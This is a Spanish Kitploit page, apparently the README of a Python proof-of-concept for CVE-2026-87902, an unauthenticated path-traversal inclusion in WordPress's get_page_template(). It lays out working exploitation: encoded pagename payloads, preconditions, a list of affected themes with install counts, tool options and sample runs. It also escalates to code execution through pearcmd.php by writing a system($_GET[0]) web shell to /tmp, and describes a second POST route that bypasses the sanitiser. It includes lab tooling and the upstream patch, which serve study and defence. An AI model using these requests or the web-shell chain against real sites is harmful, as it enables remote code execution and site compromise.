¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
CVE-2026-87902 — PoC en Python para CVE-2026-87902, un RCE por path traversal no autenticado en WordPress mediante get_page_template(), con fingerprinting de versión, comprobaciones de tema e inclusión de archivos opcional. | Kitploit
PoC en Python para CVE-2026-87902, un RCE por path traversal no autenticado en WordPress mediante get_page_template(), con fingerprinting de versión, comprobaciones de tema e inclusión de archivos opcional.
el payload. WP_Query lo pasa por sanitize_title_for_query(), que reescribe un punto literal a un guion pero preserva los octetos codificados en porcentaje. get_page_template() luego llama a urldecode() para decodificar el resultado en una ruta
page_id
cualquier página publicada, para que la consulta coincida con un post en lugar de devolver un 404. Sin él, la plantilla de página nunca se carga
El núcleo construye page-{urldecode($pagename)}.php y lo resuelve contra el directorio de la hoja de estilos. La codificación es necesaria: sanitize_title_for_query() reescribe un .. literal a -.
Precondiciones
#
Condición
Por qué
1
el tema activo incluye un directorio page-* de nivel superior
el nombre es page-{payload}.php, por lo que su primer segmento debe resolverse en disco
2
una página publicada que no sea ni la portada ni la página de entradas
is_front_page e is_home se prueban antes que is_page
3
el archivo objetivo termina en .php
el núcleo añade la extensión
Sin contenido subido, sin cambios en la configuración del sitio, el tema o el núcleo.
Los 26 temas afectados llaman al directorio page-templates. poc.py toma el nombre de themes.json, asume page-templates para un tema que no está en él, y --root lo sobrescribe con una lista separada por comas.
Los hosts Windows omiten la precondición 1. Win32 cancela .. léxicamente, por lo que un segmento que no existe sigue siendo cancelado por el .. posterior.
Ruta
Resultado
C:\...\wordpress\page-nothing\..\README.md
existe
C:\...\wordpress\page-nothing\README.md
no existe
Probado con os.stat en Windows 11, que usa el mismo manejo de rutas Win32 que file_exists() de PHP. WordPress en sí no se ejecutó en Windows.
Uso
Check, el predeterminado
Identifica el tema y las dos versiones, luego pregunta si el directorio page-* existe. Nada se incluye ni se ejecuta.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Respuesta en page-<root>/
Lectura
200
el directorio está ahí y lista
404
no existe tal directorio
403
no concluyente, por lo que sigue una petición de control para page-<8 random hex>/
403 luego control 404
la negativa era sobre la existencia, el directorio está ahí
403 luego control rechazado
el servidor rechaza lo que se le pida, salida 4
Afectado requiere ambas: el directorio existe, y la versión es igual o inferior a 7.1.1.
Exploit
Ejecuta primero la comprobación, luego incluye el archivo a menos que la comprobación haya descartado el objetivo.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
Una plantilla de tema renderizada siempre referencia /wp-content/themes/ a través de wp_head(), un archivo incluido desde fuera del tema no. Esa es la regla de veredicto.
Opciones
Opción
Predeterminado
Efecto
--target URL
requerido
despliegue bajo prueba
--exploit
desactivado
incluir un archivo tras la comprobación
--include PATH
wp-admin/install.php
el .php a incluir. Las rutas relativas se resuelven desde la raíz de WordPress, las rutas absolutas suben con --depth
--depth N
7
saltos ../ para un --include absoluto
--root NAME[,NAME]
desde themes.json
los directorios page-* a probar, sin el prefijo page-
--page-id ID
descubierto
omitir el descubrimiento de página
--theme SLUG
descubierto
omitir la búsqueda del tema
--theme-version V
descubierto
omitir la búsqueda de la versión del tema
--no-version
desactivado
no hacer ninguna petición cuyo único propósito sea conocer una versión
--core-json PATH
core.json
huellas de versiones, leído solo cuando nada reveló una versión
--trace
desactivado
imprimir cada intercambio
--json
desactivado
un objeto JSON, nada más
--yes
desactivado
omitir la confirmación
Código
Check
Exploit
0
afectado
se incluyó un .php fuera del tema
1
no afectado
no incluido
2
sin respuesta, o la respuesta no es WordPress
igual
3
uso, o rechazado en la confirmación
igual
4
no concluyente, ver los casos 403 y 7.1.x
no usado
El --include por defecto es wp-admin/install.php: en todo WordPress, salida inconfundible, no cambia nada.
Los certificados TLS no se verifican. Se aceptan caducados, autofirmados y con nombre de host no coincidente.
Fingerprinting de versión
Se prueban en orden, deteniéndose en el primero que responda.
Fuente
Coste
En 7.1.1
meta generator en la página de inicio
gratis
versión exacta
?ver= en un recurso de /wp-includes/
gratis
versión exacta
/?feed=rss2
1 petición
versión exacta
/wp-links-opml.php
1 petición
versión exacta
sha256 de un recurso servido contra core.json
1 petición
el conjunto de versiones que sirven esos bytes
core.json cubre las 112 versiones publicadas y 7.1.2, cuatro recursos cada una. Cruzarlas nombra 9 versiones exactamente y deja una mediana de 4 candidatas. Afectado requiere que cada candidata sea igual o inferior a 7.1.1.
7.1.1 y 7.1.2 no se pueden distinguir desde fuera. Los tres archivos que difieren son wp-admin/about.php, wp-includes/template.php y wp-includes/version.php, ninguno de ellos servido. Un sitio 7.1.x que oculta su versión obtiene salida 4.
Temas
Los 200 temas más instalados en wordpress.org. 26 incluyen un directorio page-* y están afectados, juntos 765.500 de 9.027.090 instalaciones activas. Los otros 174 fallan la precondición 1.
Tema
Versión
Instalaciones
page-*
Estado
Confirmado
neve
4.2.11
200,000
page-templates
🔴 afectado
lab
sydney
2.71
80,000
page-templates
🔴 afectado
lab
hestia
3.3.6
70,000
page-templates
🔴 afectado
lab
inspiro
2.2.3
60,000
page-templates
🔴 afectado
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 afectado
survey
twentyfourteen
4.6
50,000
page-templates
🔴 afectado
lab
twentytwelve
4.9
50,000
page-templates
🔴 afectado
lab
colormag
4.2.5
40,000
page-templates
🔴 afectado
lab
zakra
4.3.3
30,000
page-templates
🔴 afectado
survey
spacious
1.9.12
20,000
page-templates
lab significa probado de extremo a extremo con poc.py contra una imagen estándar, survey significa que el directorio se leyó del archivo del tema y el tema no se levantó.
Probados y no afectados, ninguno de ellos con un directorio page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, incluido por hestia, neve y otros, no cambia la afectación. Solo descarta el ID de la portada para la petición.
Versiones
Versión
Tema por defecto de la imagen
Con un tema afectado
Confirmado
7.1.2
🟢 no afectado, twentytwentyfive
🟢 no afectado, neve
lab
7.1.1
🟢 no afectado, twentytwentyfive
🔴 afectado, neve
lab
7.1.0
🟢 no afectado, twentytwentyfive
🔴 afectado, neve
lab
7.0.4
🟢 no afectado, twentytwentyfive
🔴 afectado, neve
lab
6.8.3
🟢 no afectado, twentytwentyfive
🔴 afectado, neve
lab
6.1.0
🟢 no afectado, twentytwentythree
🔴 afectado, twentytwelve
lab
4.9.8
🟢 no afectado, twentyseventeen
🔴 afectado, twentytwelve
lab
las otras 105 versiones
no medido
no medido
no medido
Versión del tema
no es una precondición, el directorio page-* sí lo es. Se usó neve 4.2.11 en 6.8.3 y superiores, twentytwelve 4.9 en los dos núcleos más antiguos
7.1.2
sin imagen publicada. Probado con lab/run.py --core 7.1.2, que aplica el archivo de la versión oficial sobre 7.1.1-apache
De fábrica
ninguna versión desde la 4.1 está afectada. twentyfifteen hasta twentytwentyfive no incluyen un directorio page-*. twentyfourteen y twentytwelve sí, y fueron los predeterminados de 3.8 a 4.0 y de 3.5, para los que no se publica imagen
No descargables
15 de las 112 etiquetas publicadas: 14 anteriores a 4.5.3-apache usan un manifiesto v1 que containerd 2.1 rechaza, y 4.5.3-apache tiene una capa que el registro no puede servir
Variantes de PHP publicadas por versión, que deciden la escalada a continuación:
Versiones de WordPress
Variantes de PHP publicadas como -apache
4.1.x a 4.5.x
ninguna, solo etiqueta simple, 5.6
4.6.x a 5.0.x
5.67.07.17.27.3
5.1.x a 5.5.x
7.17.27.37.4
5.6.x a 6.0.x
7.27.37.48.08.1
6.1.x a 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x y 6.9.x
8.18.28.38.48.5
7.0.x y 7.1.x
8.28.38.48.5
PHP y escalada
La inclusión de archivos tiene éxito en las cuatro imágenes y pearcmd.php está presente en cada una. La ejecución de comandos a través del gadget necesita register_argc_argv activado, que la imagen php8.5 desactiva.
Imagen
PHP
register_argc_argv $_SERVER['argv']
RCE vía pearcmd.php
Confirmado
7.1.1-php8.2-apache
8.2.33
Activado, poblado
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
Activado, poblado
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
Activado, poblado
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Desactivado, null
🟢 no alcanzado
lab
Leído a través de apache2handler, no de la CLI, que fuerza la configuración. Las dos peticiones detrás de la columna RCE:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py incluye un archivo, no controla el gadget. Alcanzarlo con --include /usr/local/lib/php/pearcmd.php --depth 7. No se buscó ningún otro gadget aparte de pearcmd.php en la imagen 8.5.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
La primera corrige la rama vulnerable, la segunda comprueba cada ruta de plantilla resuelta, sea cual sea su origen. Probado: en 7.1.2 con neve activo y page-templates presente, la misma petición renderiza la propia página del tema, 55.084 bytes, en lugar del instalador.
Existe una segunda ruta en 7.1.1 y anteriores:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
En qué difiere
desvía WP_Query a su rama post_name, que nunca reescribe pagename, por lo que un .. literal funciona
Qué necesita
un tema sin single.php, porque is_single se prueba antes que is_page
Probado en
7.1.1 con bloghash
Por qué está aquí
sobrevive a una corrección que endurece solo el saneador. La comprobación de contención anterior también lo cierra
Lab
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
Por fila
Imagen
wordpress:<tag> oficial, sin modificar
Aislamiento
contenedor propio, puerto propio, base de datos propia en la MariaDB compartida
Instalación
sobre HTTP a través de wp-admin/install.php, por lo que ninguna versión necesita un wp-cli coincidente
Estado
tal como lo deja el instalador, una página publicada, nada subido
Controlado con
poc.py --exploit, por lo que una fila mide la inclusión y no la apariencia
Opción
Predeterminado
Efecto
--jobs N
2
filas en paralelo
--theme SLUG[@VERSION]
ninguno
instalar y activar en cada fila
--core VERSION
ninguno
aplicar esa versión oficial sobre el núcleo de la imagen, que es como se ejecuta una versión sin imagen
--keep
desactivado
dejar las instancias levantadas, contraseña de admin impresa al final
--prune
desactivado
eliminar las imágenes que esta ejecución descargó
--port-base N
8110
primer puerto, uno por fila, solo 127.0.0.1
--db-image
mariadb:10.6
imagen de base de datos
--timeout N
180
segundos que un contenedor tiene para responder
--out PATH
lab/results.json
detalle por fila
Códigos de salida: 0 todas las filas medidas, 1 al menos una no lo fue, 2 Docker ausente o nada que ejecutar, 3 uso o rechazado. Una imagen de WordPress pesa de 600 MB a 1,1 GB, por lo que --all sin --prune son decenas de GB.
.github/workflows/lab.yml ejecuta cuatro filas en cada cambio al PoC o al lab, y semanalmente: un tema afectado en 7.1.1 y en 6.8.3, el tema por defecto de la imagen, y la variante php8.5. Cada una afirma su código de salida esperado.
Dos ideas tomadas de ese PoC, ambas probadas aquí primero:
Idea
Conservada
Probada
/index.php?rest_route= y /wp-json/ como rutas de respaldo para el listado de páginas
sí
el descubrimiento tiene éxito a través de una de las tres
preferir una página sin plantilla de página propia, ya que get_page_template() prueba esa plantilla primero
sí, como ordenación
forzar una página que lleva una todavía se reprodujo en 7.1.1, por lo que cuesta una petición en el peor caso
Archivos
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
Requisitos: Docker, Python 3.8+, sin paquetes de terceros.